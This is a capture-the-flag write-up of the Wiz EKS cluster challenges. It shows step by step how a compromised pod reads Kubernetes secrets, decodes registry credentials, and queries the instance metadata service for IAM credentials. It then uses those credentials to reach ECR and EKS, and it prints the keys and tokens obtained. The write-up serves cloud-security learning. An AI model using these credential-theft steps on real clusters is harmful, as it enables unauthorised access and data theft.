Post

EKS Cluster walkthrough

Learn about EKS cluster security by 5 fun CTF challenges made by wiz.io. alt text

welcome to the challenge

You’ve hacked into a low-privileged AWS EKS pod. Use the web terminal below to find flags across the environment. Each challenge runs in a different Kubernetes namespaces with varying permissions.

All K8s resources are crucial; challenges are based on real EKS misconfigurations and security issues.

Click “Begin Challenge” on your desktop, and for guidance, click the question mark icon for useful cheat sheet.

Good luck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__ ___ _____ _ ______ 
\ \ / (_)____ | ____| |/ / ___| 
\ \ /\ / /| |_ / | _| | ' /\___ \ 
  \ VV / | |/ / | |___| . \ ___) | 
   \_/\_/ |_/___| |_____|_|\_\____/ 
  ____ _ _ _ 
/ ___| |__ __ _| | | ___ _ __ __ _ ___ 
| | | ' _ \ / _` | | |/ _ \ '_ \ / _` |/ _ \ 
| |___| | | | (_| | | | __/ | | | (_| | __/ 
\____|_| |_|\__,_|_|_|\___|_| |_|\__, |\___| 
                                  |___/ 
Welcome to Wiz EKS Challenge! 
For your convenience, the following directories are persistent across sessions: 
        * /home/user 
        * /tmp

Use kubectl to start! 
root@wiz-eks-challenge:~#

Secret Seeker

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

permissions allowed:

1
2
3
4
5
6
{
    "secrets": [
        "get",
        "list"
    ]
}

we can get secret using

1
2
3
$ kubectl get secrets
NAME         TYPE     DATA   AGE
log-rotate   Opaque   1      355d

we can describe secret like this

1
2
3
4
5
6
7
8
9
10
11
kubectl describe secret log-rotate
Name:         log-rotate
Namespace:    challenge1
Labels:       <none>
Annotations:  <none>

Type:  Opaque

Data
====
flag:  52 bytes

in secrets data is stored base64 encoded. we can extract flag like this

1
2
$ kubectl get secret log-rotate -o jsonpath='{.data.flag}' | base64 --decode
wiz_eks_challenge{omg_over_privileged_secret_access}

SOLVED!!

Registry Hunt

A thing we learned during our research: always check the container registries. For your convenience, the crane utility is already pre-installed on the machine.

permissions allowed

1
2
3
4
5
6
7
8
9
{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}

lets try listing pod image

1
2
$ kubectl get pods -o jsonpath={..image}
eksclustergames/base_ext_image docker.io/eksclustergames/base_ext_image:latest

listing pod

1
2
3
kubectl get pods
NAME                    READY   STATUS    RESTARTS      AGE
database-pod-2c9b3a4e   1/1     Running   9 (28d ago)   355d

I have tried to describe pod and got this interesting info

1
2
imagePullSecrets:
  - name: registry-pull-secrets-780bab1d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
$ kubectl get pod database-pod-2c9b3a4e -o yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubernetes.io/psp: eks.privileged
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:32:05Z"
  name: database-pod-2c9b3a4e
  namespace: challenge2
  resourceVersion: "130499080"
  uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
  containers:
  - image: eksclustergames/base_ext_image
    imagePullPolicy: Always
    name: my-container
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-cq4m2
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  imagePullSecrets:
  - name: registry-pull-secrets-780bab1d
  nodeName: ip-192-168-21-50.us-west-1.compute.internal
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-cq4m2
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
status:
  conditions:
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:05Z"
    status: "True"
    type: Initialized
  - lastProbeTime: null
    lastTransitionTime: "2024-09-22T22:52:53Z"
    status: "True"
    type: Ready
  - lastProbeTime: null
    lastTransitionTime: "2024-09-22T22:52:53Z"
    status: "True"
    type: ContainersReady
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:05Z"
    status: "True"
    type: PodScheduled
  containerStatuses:
  - containerID: containerd://21ba7b1709f6d31abc128325484e42414f84323e388b2fa0101aabcc908f9d41
    image: docker.io/eksclustergames/base_ext_image:latest
    imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
    lastState:
      terminated:
        containerID: containerd://038fbdd061f8d31fa1d17de2cb04a0153653fdfd65abc7bf46f418f443907b4a
        exitCode: 0
        finishedAt: "2024-09-22T22:52:52Z"
        reason: Completed
        startedAt: "2024-08-17T16:30:35Z"
    name: my-container
    ready: true
    restartCount: 9
    started: true
    state:
      running:
        startedAt: "2024-09-22T22:52:52Z"
  hostIP: 192.168.21.50
  phase: Running
  podIP: 192.168.12.173
  podIPs:
  - ip: 192.168.12.173
  qosClass: BestEffort
  startTime: "2023-11-01T13:32:05Z"

we can get that secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ kubectl get secret registry-pull-secrets-780bab1d -o yaml
apiVersion: v1
data:
  .dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind: Secret
metadata:
  annotations:
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:31:29Z"
  name: registry-pull-secrets-780bab1d
  namespace: challenge2
  resourceVersion: "897340"
  uid: 1348531e-57ff-42df-b074-d9ecd566e18b
type: kubernetes.io/dockerconfigjson

It is a kubernetes.io/dockerconfigjson type secret that is used to store the authentication information of the Docker image repository so that it can be authenticated when pulling private images.

  • samen auth value you can see in your machine in ./docker/config.json file, which will contain your username:password you used to login to docker.

we can visit jwt.io to decode JWT token:

1
2
3
4
5
6
7
8
{
  "auths": {
    "index.docker.io/v1/": {
      "auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
    }
  },
  "alg": "HS256"
}

base64 decoding of auth value: eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo this is username:password

  • crane is a tool for interacting with remote images and registeries.

then we can login to private Registry using crane:

1
$ crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo docker.io

get image name of pod

1
2
$ kubectl get pods -o jsonpath={..image}
eksclustergames/base_ext_image docker.io/eksclustergames/base_ext_image:latest

read about image,

1
2
$ crane config docker.io/eksclustergames/base_ext_image:latest
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:18.920734382Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop)  CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' \u003e /flag.txt # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"]}}

flag: wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}

SOLVED!!

We successfully used this technique in both of our engagements with Alibaba Cloud and IBM Cloud to obtain internal container images and to prove unauthorized access to cross-tenant data.

Image Inquistion

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret. Remember: You are running inside a compromised EKS pod. For your convenience, the crane utility is already pre-installed on the machine.

Permissions allowed

1
2
3
4
5
6
{
    "pods": [
        "list",
        "get"
    ]
}

we can see pod is running

1
2
3
$ kubectl get pods
NAME                      READY   STATUS    RESTARTS      AGE
accounting-pod-876647f8   1/1     Running   9 (29d ago)   355d

we can see details of pods

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
kubectl get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      kubernetes.io/psp: eks.privileged
      pulumi.com/autonamed: "true"
    creationTimestamp: "2023-11-01T13:32:10Z"
    name: accounting-pod-876647f8
    namespace: challenge3
    resourceVersion: "130499066"
    uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
  spec:
    containers:
    - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
      imagePullPolicy: IfNotPresent
      name: accounting-container
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-mmvjj
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: ip-192-168-21-50.us-west-1.compute.internal
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: kube-api-access-mmvjj
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2023-11-01T13:32:10Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2024-09-22T22:52:51Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2024-09-22T22:52:51Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2023-11-01T13:32:10Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://75bc595a339ec42824ca3ebdab4e406a53a9667268e530eda1e58c9fdca8afaf
      image: sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
      imageID: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
      lastState:
        terminated:
          containerID: containerd://28abc7c8db6da76f3c78f250876cab51581c48dc04ef908501dadaead0980393
          exitCode: 0
          finishedAt: "2024-09-22T22:52:49Z"
          reason: Completed
          startedAt: "2024-08-17T16:30:32Z"
      name: accounting-container
      ready: true
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2024-09-22T22:52:50Z"
    hostIP: 192.168.21.50
    phase: Running
    podIP: 192.168.5.251
    podIPs:
    - ip: 192.168.5.251
    qosClass: BestEffort
    startTime: "2023-11-01T13:32:10Z"
kind: List
metadata:
  resourceVersion: ""

We can see that ECR repository is used for image. To see details of image we need ECR credentials probably. Let’s think in this approach…

currently aws is not configured

1
2
3
$ aws sts get-caller-identity

Unable to locate credentials. You can configure credentials by running "aws configure".
  • Amazon ec2 provides a local endpoint available to instances that can provide various bits of information to the instance. If the instance has IAM role attached, it can provides a set of credentials that are valid for that role.

Our pod is on EKS. We can try to access the AWS metadata service, IMDS Instance Metadata Service, v1 is the first version of Amazon EC2 instance metadata service. By requesting AWS metadata interface, we can get the relevant data information of the running example. The cloud service addresses of common manufacturers are as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#AWS 
http://instance-data 
http://169.254.169.254 
#Google Cloud 
http://169.254.169.254 
http://metadata.google.internal 
http://metadata 
#Azure 
http://169.254.169.254 
# Digital Ocean 
http://169.254.169.254 
#Packetcloud 
https://metadata.packet.net 
#Oracle Cloud 
http://169.254.169.254 
#Alibaba Cloud 
http://100.100.100.200 
#Tencent Cloud 
http://metadata.tencentyun .com 
http://169.254.0.23
  • IMDSv1 has certain risks and has experienced serious security incidents. AWS has officially prompted the use of IMDSv2 instead of IMDSv1, and starting in mid-2024, newly released Amazon EC2 instance types will only use the v2 version of IMDS.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
curl http://169.254.169.254/latest/meta-data
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/
system

lets take information about iam

1
2
3
$ curl http://169.254.169.254/latest/meta-data/iam
info
security-credentials/

to get attached iam role

1
2
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials
eks-challenge-cluster-nodegroup-NodeInstanceRole

IAM role: eks-challenge-cluster-nodegroup-NodeInstanceRole

To get creadentials for this role

1
2
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
{"AccessKeyId":"ASIA2AVYNEVMXSZQP375","Expiration":"2024-10-22 07:12:13+00:00","SecretAccessKey":"7SUvltkPctKIgVW7bV2Rryw8Oh4mJwW0mJmNLze2","SessionToken":"FwoGZXIvYXdzEEgaDCgXiK4+zeE1yaTXaSK3Aa+OfqkAd2Izzxp6o3jRgF0XAl/koSWAafLN6V4Jtu9nR5M6KWKkoL++Hz2ugKcLAJVwnghcgi8Em0FgVmi3PYEf7JZuYckpFr0tYKcxxVwj6BpoHhJgNuX7VflazSS0OaZRskSMn54dlP+r42zvFJHchb1YMi6suFaTLZujTCtwGyIP1NTo5meowKYuGbDWvFQUPu/52dCfK/T3xFbPjgfssszHk+GB8KgVfVepD6nqXmFARVgQpii9hN24BjIt9Jofrgkyl31zf+yk6bKI7di+G5pHkFBRvJ3FuBrFcGsAL+fTvK0PEGm0hD/V"}

lets configure them in aws cli. and confirm it

1
2
3
4
5
6
$ aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

crane doesn’t directly interact with AWS to get credentials, so we need to use AWS cli to generate a login token(vallid for 12 hours) which crane can use to authenticate.

1
2
$ aws ecr get-login-password --region us-west-1
eyJwYXlsb2FkIjoiYXlYMVlzWjNVRlZRRHdmazlWSUptU1ZjYTRsUGFFcWVtVm1jeGVLVE1zZ1dudW13anMzUUhTMWNxQVVzeW8rK1ZabVVrV21DMjZGS3l2SUxEUUJBdC9jR3Ztb2tmR1RncmRvZzFoL1ZjVklyaTBIelEySlNIY3o4eXBKU0pZYk5UR3ZBY0xNeFlUMzZFd2lNYUl0dllxNmV3VG14ekU0R0dDa0V2M3dmaEdTOGQvbXhnWWQ3YkVNU0k1WXhOWGVSWGdTUVRzWm94NG03bU0rMFdmeGdablJVR2g3UXRXNkd4SWVXbDlGdFd6VkZvbkdJNjVyWVREMklCaXdsMFhLNnlpN1FPQUFUYm9OTUZIdEM4eGp5ajNGaDh3T21MRGRFaUJFckRoVUhYRE5nWU5kU1YvaXJSbksvUzl3T3RtSU4zZE52eHR1U1ZMNEo0UzNtSjhmODFPQlF3Tjg1L2FhWVJSVmY1TG5adExoOUZzY1A4YWlzcWFLcVRrcTJHdlFGd3psQUZoalh6ZmRncmltRHgyMldJSWxUSURzMmwwL3piOENIalh4MlFNZXU4VDZIRDl3YUVZZ2R6S1dDVlBpbitWalY2WnEwbHRMUGdmcEJLeUlHNDR5QTg2bGV0dUkwelFVSUJqN1lxQ2hxQUNXSHh2N3IzbGZkVkdnQWxMdXJYNU0ybTA5TmZ0TjBOdUNGV1A5ZmNMMUxMYUIvZEoxQk9lV254K1oySHk4WDc0aXMydjVBblNjYyt3b1Q5VWtod0hVQkxDdCtvU0ZNdW9XQlYxa3FrSmVpK2VuZmhEK3VKNzNLZHNIOVRLMXZtODlZdko0bnpuZ1J1aUZFNHlyaTluQmJkYWRhM3QzeWFaM3huU1N1VXg4T1NYYnFFUGhtTmxpSGRGczdYVkhnRGRXRlpYQjhRdjdhSUVlbXZXV3lIdkcvSHhIWFNmanhDUHQrc2h1SC9ONVA3UERTOGowQS9pTUR0a1kycHZJczdUbTJiWWIxeWxMUk1DQ212Q3RJV1lqUHFHdVcrS2FIZ0h0ZUZ3ZG80dHRIeEoxN1ZHalFQZWZLdlZDRVF6ZmxtWVQ1NWNKSk5XVTFESzVxd1FrS2o4dlhVYm1TeFVuSmYwblhLcloxOVFzc3BtdWJFUTZUU1ZEUzZvWXNKWmgxaUc0clhXYXZqSUJnQlJYVDkxdzFRNUtIZDVkSVg2eEwxWE5LUHdsMDY1clhwYUpVN3ZmMEVhWm9QelJxZjhrTXlFdkpOOEFZMHFYazR4dWREbXVaWlNvckplbWpHQ2swZFpwOGtlVUhWVXRCbVNqaktHcEx3dkozTTFEVVcwQW51OHc1Nk8rTDJaVGRQKzdKZzFLMkdQTzFSZHhLb2oxcGlWeHZNUnlaakpIMEI4MktHYkpteEhZazB4K1lRTlg3VU9CVkVZc1NJdGpQd21HS1hVaUtRUU9nOEp0bDY2S1JSMHpJck1JVzlFemhlSWNtNERWRG9TbjkxVkgyeGdyZ0FWdXpUWWhnc1FLYy9lbFhzcjI5VmNPUlhEVVdpTUFIVlpDQlNncXRpVm1LWTVERGRVbExzWDltdGJRS2cvazRMQVlWelI1ZzVLWHlIOE93dHhNc0NnUFM3NFR5clhSeXd1SEZ3eWdIY3RLbVJzclZRbHkxK2FJbmp2MD0iLCJkYXRha2V5IjoiQVFFQkFIaWpFRlhHd0YxY2lwVk9hY0c4cVJtSm9WQlBheThMVVV2VThSQ1ZWMFhvSHdBQUFINHdmQVlKS29aSWh2Y05BUWNHb0c4d2JRSUJBREJvQmdrcWhraUc5dzBCQndFd0hnWUpZSVpJQVdVREJBRXVNQkVFRE4vZzd3b052QnJDQ1JxYVJnSUJFSUE3Nmh2YXVzRzRRVVdkR2FlTmp5Vk0zZE13VUZwN2VnVGtKLzd1YllyTVBVb0pBRmNiSUs2aUdKQkFpd2ZHQnRrTUhCL0tGR0xEUmNKeDVkYz0iLCJ2ZXJzaW9uIjoiMiIsInR5cGUiOiJEQVRBX0tFWSIsImV4cGlyYXRpb24iOjE3Mjk2MjA5MjV9

So to authenticate crane, we use:

1
2
$ crane auth login -u AWS -p $(aws ecr get-login-password --region us-west-1) 688655246681.dkr.ecr.us-west-1.amazonaws.com
2024/10/22 06:16:58 logged in via /home/user/.docker/config.json
  • default username for ECR is AWS

Let’s pull image now.

1
2
3
$ crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 image.tar
$ ls
image.tar

lets dig into files image contains.

1
2
3
4
5
$ tar -xvf image.tar
sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz
e7310b04c944c3e0bbb9ebc04b885dc7ad937061e0dc77c73449ef133eab4fd9.tar.gz
manifest.json

sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3 : image configuration file 3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz: first image layer archive e7310b04c944c3e0bbb9ebc04b885dc7ad937061e0dc77c73449ef133eab4fd9.tar.gz: second image layer archive

manifest.json: structure of image

I started reading all files. Image configuration file contains flag under ARTIFACTORY_TOKEN value

1
2
$ cat sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:07.782534085Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop)  CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"]}}

OR we can read config of image

1
2
$ crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:07.782534085Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop)  CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"]}}roo

ARTIFACTORY_TOKEN contains flag.

flag: wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}

SOLVED!!

In this challenge, you retrieved credentials from the Instance Metadata Service (IMDS). Moving forward, these credentials will be readily available in the pod for your ease of use.

Pod Break

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account? Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

permissions allowed:

1
{}

No permission of listing pod. we can see allowed permissions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
kubectl auth can-i --list 
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                     Resource Names     Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []                 [create]
                                                [/.well-known/openid-configuration]   []                 [get]
                                                [/api/*]                              []                 [get]
                                                [/api]                                []                 [get]
                                                [/apis/*]                             []                 [get]
                                                [/apis]                               []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/livez]                              []                 [get]
                                                [/livez]                              []                 [get]
                                                [/openapi/*]                          []                 [get]
                                                [/openapi]                            []                 [get]
                                                [/openid/v1/jwks]                     []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version]                            []                 [get]
                                                [/version]                            []                 [get]
podsecuritypolicies.policy                      []                                    [eks.privileged]   [use]

it is continuation of previous challenge, aws is already configured. Our goal is to use this AWS credentials with permissions to use the EKS service, so as to obtain the high permissions of the cluster and then use it for kubectl.

To gain k8s cluster accesss using the IAM role, we can use aws eks get-token --cluster-name <cluster name> to obtain a token with corresponding high permissions. To find the cluster name. we can see aws configure arn

1
2
3
4
5
6
$ aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

in arn <cluster_name>-nodegroup-NodeInstanceRole this is the pattern follows. So cluster name is eks-challenge-cluster.

1
2
3
4
5
6
7
8
9
10
$ aws eks get-token --cluster-name eks-challenge-cluster
{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1beta1",
    "spec": {},
    "status": {
        "expirationTimestamp": "2024-10-22T14:41:53Z",
        "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk02RU1UWFdGUiUyRjIwMjQxMDIyJTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDEwMjJUMTQyNzUzWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFRkFhREYlMkJzU3lmT050Y0o4V21pMENLM0FjeE5ER05kS2hoQkRON2RiUVJGNHFqcFNaZiUyRkxJR3FUWk1lbmlSRlJQQWxqZlJDRldpV2ZoSGVkWkJVUVhDZmUzQ0klMkJlTlBySTlxTzV1aFZ4QVU3MFdmOFhnaFRjR3J2WEFrVSUyQkJjcTclMkZTaVg4NHBJUmc5RXA5VzA1Wjdsd29tYUxuWG5lZCUyQlRlN1VCV25QaWFqYnF0VVl0N0kxcVlxcGRwZFFUc2haZVpsVHYxOXZuYWlxTFVRS3VtRmklMkJ6MHRhZXRBZHJoWnFXZEhnODJlWkVxeDJKakY1JTJCQzRJcFdCbEQlMkZWSUVLRiUyRiUyRk5jb1RGVzlLdDBTaXc1OTY0QmpJdGFvb0FjdEJLaTJkSVlwU0VFbm5rU3lrYjY4dDl5VzZWVTBVa2Mwd05oUGlvVmt4OVhMeDdqV0Qzc0xtcyZYLUFtei1TaWduYXR1cmU9YmUwMTI2ZjM1YTA1OTA1NWZmNTJjMjNjMTExM2RhZmUzMGNmNjFlOGRjZmRiZTk0ZDkxYjQ4NDQwNmNkNjZlZA"
    }
}

use this output token for kubectl commands.

1
